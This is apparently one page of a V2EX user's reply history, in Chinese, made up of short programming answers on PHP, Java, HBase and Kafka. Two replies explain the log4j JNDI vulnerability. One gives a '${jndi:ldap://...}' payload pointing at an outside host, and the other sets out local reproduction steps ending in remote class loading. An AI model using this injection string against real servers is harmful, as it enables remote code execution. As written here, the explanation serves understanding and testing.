V2EX = way to explore
V2EX 是一个关于分享和探索的地方
现在注册
已注册用户请  登录
V2EX  ›  humpy  ›  全部回复第 4 页 / 共 6 页
回复总数  108
1  2  3  4  5  6  
2022 年 7 月 11 日
回复了 leiuu 创建的主题 程序员 前端和后端中间的部分一般习惯叫做什么
aggregator
2022 年 7 月 11 日
回复了 yizmaoaa 创建的主题 求职 老哥们现在写简历都用什么
qq 邮箱里的简历
以后就可以搞个 ipad 做开发
2022 年 6 月 30 日
回复了 dhou45 创建的主题 分享发现 不看说明书的报应, 用 HHKB 四年之后的后知后觉...
没必要买蓝牙版,就普通版本,再淘宝一个 YANG 神( YDKB )的双模主控,只需要拧螺丝就能装上
2022 年 6 月 29 日
回复了 CheepTok 创建的主题 Apple Safari 的使用体验烂到令人发指
@wanacry #1 hahah
2022 年 6 月 1 日
回复了 qinwen00888 创建的主题 PHP 新手求助 PHP 数组操作问题
function removeIfMatch(&$arr, $id, $parentId)
{
foreach ($arr as $k => $v) {
if ($v['id'] === $id && $v['parent_id'] === $parentId) {
unset($arr[$k]);
}
if ($v['parent_id'] === $id) {
removeIfMatch($arr, $v['id'], $id);
}
}
}

removeIfMatch($data, 1, '');
var_dump($data);
2022 年 3 月 6 日
回复了 pupboss 创建的主题 分享发现 B 站这个翻译的太风骚了
@codingBug #64 url 就是给用户看的,包括方便用户直接通过链接访问、通过搜索引擎检索等(很多时候为此还要做 url slug ),看不懂或对这个无所谓只是因为你母语不是英语
2022 年 2 月 18 日
回复了 fyooo 创建的主题 程序员 优化健康码读写速度的面试题
技术帖就聊技术,别说那些有的没的。

说说我之前做的类似一个项目的做法吧,查找指定时间指定区域内的经过的车辆。

原始数据是轨迹点(坐标、时间),因为数据量比较大,使用 hbase 存储,rowkey 设计为 reverse(yyyyMMddHH+geohash[8])。
查询时,计算出覆盖指定区域的 geohash[8] 集合,将查询时间段拆分为多条 yyyyMMddHH ,然后组合成查询 rowkey ,通过 hbase 前缀扫描,初步筛选出数据,然后再做精确匹配。

健康码这个也类似,拿到红码的轨迹点,然后挨个点定时定位查找轨迹区域内的其他轨迹点就行了。
2022 年 2 月 11 日
回复了 a719114136 创建的主题 程序员 大量单词匹配有啥好方法推荐
自动机
2021 年 12 月 10 日
回复了 eviladan0s 创建的主题 Java 颤抖吧 Javaer, log4j 史诗级漏洞
@monkeyWie #108 ldap 服务是攻击者的。

这个攻击的核心是攻击者可以通过接口请求的方式,在 header 或者请求参数里,带上类似这样的字符串「"${jndi:ldap://0.51bbc.workers.dev}"」,如果接口服务记录日志的时候内容里带上了这串地址(比如记录接口请求日志),log4j 就会去请求它
2021 年 12 月 10 日
回复了 eviladan0s 创建的主题 Java 颤抖吧 Javaer, log4j 史诗级漏洞
复现步骤

1. 搭建并启动一个 ldap 服务器(比如,ldap://127.0.0.1:1389 );
2. 确保测试应用使用的是 log4j2 日志框架( spring 框架因为默认是用的 logback ,需要在 [spring-boot-starter-web] exclude [spring-boot-starter-logging],再添加 [spring-boot-starter-log4j2] 依赖);
3. 在测试应用中打日志,比如,「 log.info("${jndi:ldap://127.0.0.1:1389}");」 ,可以看到打印的日志内容类似于「 com.sun.jndi.ldap.LdapCtx@65d6b83b 」,ldap 服务器上也能看到请求记录;
4. 如上,已经复现了远程调用,更进一步,如果想执行恶意代码,ldap 接口需要响应想要执行的 java class
2021 年 11 月 19 日
回复了 dreamcog 创建的主题 分享创造 做一个新的中文版本的 Reddit (简答)
@huajieyu #376 感谢❤️

我的邀请码:DZX8DD
2021 年 11 月 9 日
回复了 7911364440 创建的主题 Java 如何通过反射获取 List<T>中泛型 T 的真实类型?
我之前尝试过

/**
* 获取集合的元素类型
*
* @param type 集合类型
* @param genericType 集合的泛型类型信息
*/
public static Type resolveCollectionElementType(Class<?> type, Type genericType) {
if (genericType instanceof ParameterizedType) {
ParameterizedType pt = (ParameterizedType)genericType;
return pt.getActualTypeArguments()[0];
} else {
return type;
}
}
2021 年 9 月 28 日
回复了 kop1989 创建的主题 Java 这样的重载写法是如何通过编译的?
@humpy #1 sorry,我看错了
2021 年 9 月 28 日
回复了 kop1989 创建的主题 Java 这样的重载写法是如何通过编译的?
方法签名不同啊
@cernard #2 不是这样的,可能我没说清楚

你了解并发编程里的 producer-consumer 模式吗?其实是一样的,consumer 是同一套消费逻辑的多个实例。线程池里的 consumer 线程们从同一个 queue 通过并发锁抢任务。而 kafka 是每个 consumer 事先就分派好了各自的 queue,这个 queue 就是 partition 。

partition 算是 kafka 的实现细节,你需要知道它,但业务逻辑不能依赖它来做设计。它的主要作用是提供消费处理扩容能力(即消费跟不上了可以加机器)以及顺带的避免并发消费问题。

比如一个 topic 有 8 个 partition,最开始只有 2 个 consumer,每个 consumer 负责 4 个 partition,然后处理不过来,消息积压了,这时候就可以再加两台机器,总共 4 个 consumer,rebalance 后每个 consumer 负责 2 个 partition...不够再加,最多可以加到 8 个 consumer (即一个 consumer 对应一个 partition ),再加就没用了。

你的埋点数据的例子,实际做的话有两种方式,一是用一个 topic,消息里用一个类型字段区分 web 、android 或 ios,在消费逻辑里写 if else 做筛选和处理;另一种是每种埋点数据单独一个 topic,业务根据自己需要,消费对应的 topic 。

再说下消息的 key,因为它影响消息被分发的 partition,所以 key 最好是能让消息均匀分布的,不然就会有的 partition 消息多、有的消息少,导致有的 consumer 消息太多,消费不过来,消息堆积,并且这种消息积压增加 consumer 都没用。有的 consumer 消息太少,一直空闲,浪费资源。

说起来有点绕,其实挺简单的,最好实际用一下,写写代码,理解起来就很轻松了。书可以看 OReilly.Kafka.The.Definitive.Guide.2017.9.pdf ,JD 有中文版。
1  2  3  4  5  6  
关于   ·   帮助文档   ·   自助推广系统   ·   博客   ·   API   ·   FAQ   ·   Solana   ·   5593 人在线   最高记录 6679   ·     Select Language
创意工作者们的社区
World is powered by solitude
VERSION: 3.9.8.5 · 54ms · UTC 06:46 · PVG 14:46 · LAX 23:46 · JFK 02:46
♥ Do have faith in what you're doing.